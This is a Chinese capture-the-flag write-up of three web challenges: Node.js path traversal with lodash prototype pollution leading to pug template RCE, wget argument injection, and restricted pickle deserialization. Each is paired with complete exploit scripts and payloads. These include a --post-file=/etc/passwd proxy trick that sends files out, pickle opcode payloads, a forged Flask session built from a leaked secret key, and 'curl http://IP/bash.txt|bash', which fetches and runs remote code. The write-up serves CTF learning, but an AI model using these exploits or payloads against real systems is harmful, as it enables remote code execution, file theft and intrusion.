题目内容:简单的个人空间系统
进度:node是啥,我听过吗🙄
非admin登录,?newimg=../../../../etc/passwd
存在目录穿越,读文件,从package.json
可知"lodash": "^4.17.15"
存在原型链污染漏洞,但是由于不解析json且使用了express.urlencoded({ extended: false })
不能传入对象,那么原型链污染的方法就成了传入POST数据(格局打开了
拿漏洞poc本地调一波
由于package.json的版本声明以^
开头,所以在npm install时会自动更新小版本,因此会导致lodash更新到没有该漏洞的版本,需要将lodash的^
删掉指定版本下载
然后就可以得到payload
username=tyskill&password=tyskill&"].__proto__["isadmin=tyskill&"].__proto__["debug=tyskill
成功污染session的isadmin和debug之后就是之前的一个漏洞https://github.com/pugjs/pug/issues/3312,这也是为什么源码定义了pretty属性但没有使用的原因吧
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
import requests
url = "http://IP"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0",
"Content-Type": "application/x-www-form-urlencoded"
}
# 污染 isadmin 和 debug 获得cookie
res = requests.post(url=url + "/login",
data="username=tyskill&password=tyskill&\"].__proto__[\"isadmin=tyskill&\"].__proto__[\"debug=tyskill",
allow_redirects=False,
headers=headers
)
cookie = res.headers["Set-Cookie"].split(";")[0].split("=")
# bug pretty RCE
requests.get(url=url + "/admin",
params={"p": "');process.mainModule.constructor._load('child_process').exec('ping q8461g.dnslog.cn');_=('"},
cookies={cookie[0]: cookie[1]}
)
|
题目内容:find the flag.
进度:卡在了弹shell,整道题都靠队友输出
开了debug,获取部分源码
1
2
3
4
5
6
7
8
9
10
11
|
@app.route('/images')
def images():
command=["wget"]
argv=request.args.getlist('argv')
true_argv=[x if x.startswith("-") else '--'+x for x in argv]
image=request.args['image']
command.extend(true_argv)
command.extend(["-q","-O","-"])
command.append("http://127.0.0.1:8080/"+image)
image_data = subprocess.run(command,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
return image_data.stdout
|
输入有两个,wget参数和图片地址,图片地址没办法目录穿越,只能依靠wget参数作为入口点,通过代理获得文件流数据
/images?image=&argv=--post-file=/etc/passwd&argv=--execute=http_proxy=http://IP
然后就可以得到一些文件,接下来就是审计工作,看名字也知道是pickle反序列化,直接上pker
s=GLOBAL("config","notadmin")
s["admin"]="yes"
user=INST("config","user")
user.username="tyskill"
user.data="tyskill"
door=INST("config","backdoor",["__import__('os').system('ping http://IP')"])
return user
然后加进session打,后面弹shell和找flag好像还挺麻烦的
题目内容:听说pickle是一门有趣的栈语言,你会手写opcode吗?
进度:赛后出的,菜鸡落泪
imagePath参数任意文件读可以读到app.py
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
|
from flask import Flask
from flask import request
from flask import render_template
from flask import session
import base64
import pickle
import io
import builtins
from flask.templating import render_template_string
class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit', 'map'}
def find_class(self, module, name):
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
def loads(data):
return RestrictedUnpickler(io.BytesIO(data)).load()
app = Flask(__name__)
app.config['SECRET_KEY'] = "y0u-wi11_neuer_kn0vv-!@#se%32"
@app.route('/admin', methods = ["POST","GET"])
def admin():
if('{}'.format(session['username'])!= 'admin' and str(session['username'] , encoding = "utf-8")!= 'admin'):
return "not admin"
try:
data = base64.b64decode(session['data'])
if "R" in data.decode():
return "nonono"
pickle.loads(data)
except Exception as e:
print(e)
return "success"
@app.route('/login', methods = ["GET","POST"])
def login():
username = request.form.get('username')
password = request.form.get('password')
imagePath = request.form.get('imagePath')
session['username'] = username + password
session['data'] = base64.b64encode(pickle.dumps('hello' + username, protocol=0))
try:
f = open(imagePath,'rb').read()
except Exception as e:
f = open('static/image/error.png','rb').read()
imageBase64 = base64.b64encode(f)
return render_template("login.html", username = username, password = password, data = bytes.decode(imageBase64))
@app.route('/', methods = ["GET","POST"])
def index():
return render_template("index.html")
if __name__ == '__main__':
app.run(host='0.0.0.0', port='8888')
|
通过审计代码可以发现它定义了一个反序列化的模块限制,但是限制函数并没有使用,所以它定义了个寂寞。因此整个代码仅有的过滤就是R
字符,参考https://eustiar.com/archives/673可以知道在无R
下的RCE姿势:(还记了一种覆盖式的RCE这里不讨论,用不上)
\x80\x03(S'ls'\nios\nsystem\n.
\x80\x03(cos\nsystem\nS'whoami'\no.
这里不要盲目的使用payload,因为它pickle反序列化使用的是0号协议,该协议有什么特点呢?自己本地dumps一遍就知道了,然后就可以发现文章给的payload是3号协议的,所以我们需要修改,直接把\x80\x03
删了就行。接下来就是payload一把梭了(不像what_pickle没给curl,这道题真TM友好)
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
import base64
import subprocess
import requests
url = "http://eci-2ze5jezzanh533j3tyf2.cloudeci1.ichunqiu.com:8888/admin"
headers = {}
data = b"(cos\nsystem\nS'curl http://IP/bash.txt|bash'\no."
data = base64.b64encode(data).decode()
cmd = f"""python flask_session_cookie_manager3.py encode -s \"y0u-wi11_neuer_kn0vv-!@#se%32\" -t \"{{'data': b'{data}', 'username': 'admin'}}\""""
result = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
r = result.stdout.decode().strip("\r\n")
headers["Cookie"] = f"__jsluid_h=ce97926775f614e6078ec0586085a9dd; session={r}"
res = requests.get(url, headers=headers)
res.encoding="utf-8"
print(res.text)
|
据说挺简单的,可惜根本没时间看
咕了,懒癌犯了
https://eustiar.com/archives/673